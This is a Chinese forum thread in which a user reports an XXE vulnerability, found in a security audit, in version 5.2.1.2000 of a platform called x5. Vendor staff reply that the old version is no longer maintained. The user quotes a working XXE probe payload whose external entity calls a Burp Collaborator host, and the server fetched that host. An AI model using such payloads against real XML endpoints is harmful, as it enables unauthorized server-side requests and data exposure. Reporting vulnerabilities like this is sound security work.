5.2.1.2000版本出现：XML外部实体注入漏洞

划时代 · 发表于 2017-3-2 09:17:55

公司对业务系统进行安全审计，发现了：XML外部实体注入漏洞。
在请求xml时，插入以下代码得以认证
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://fk376s8cz3ml40mesk6ooajvomuiic63xqnec.burpcollaborator.net"> ]>
<foo>&xxe;</foo>

针对这个漏洞，如何解决？

jishuang · 发表于 2017-3-2 11:27:35

把完整的提示信息发一下看看

划时代 · 发表于 2017-3-2 13:40:47

jishuang 发表于 2017-3-2 11:27
把完整的提示信息发一下看看

这是通过第三方的工具，拦截用户的请求，然后在请求参数中添加上面的信息。x5的服务端收到请求后去访问了http://fk376s8cz3ml40mesk6ooajvomuiic63xqnec.burpcollaborator.net 这个地址。

jishuang · 发表于 2017-3-2 14:03:56

x5中集成第三方的时候提示的?

划时代 · 发表于 2017-3-2 14:20:21

jishuang 发表于 2017-3-2 14:03
x5中集成第三方的时候提示的?

x5中并没有集成第三方，操作过程是这样的：用户访问x5某个功能------------------->拦截用户请求，在请求参数中添加如上信息------------------->用户请求到达x5服务端------------------------->x5服务端执行操作，响应用户请求（就是在服务端响应的信息中发现了http://fk376s8cz3ml40mesk6ooajvomuiic63xqnec.burpcollaborator.net这个地址返回的字符串）。

jishuang · 发表于 2017-3-2 15:06:27

现在版本的请求都是json，2000版本基本上不做修改了，如果要修改可以联系起步商务人员协商

划时代 · 发表于 2017-3-3 09:02:36

jishuang 发表于 2017-3-2 15:06
现在版本的请求都是json，2000版本基本上不做修改了，如果要修改可以联系起步商务人员协商 ...

已联系商务人员！请及时给予解决！

jishuang · 发表于 2017-3-3 09:49:02

联系了商务人员，商务人员会去协调

		自动登录	找回密码
密码			注册

[结贴] 5.2.1.2000版本出现：XML外部实体注入漏洞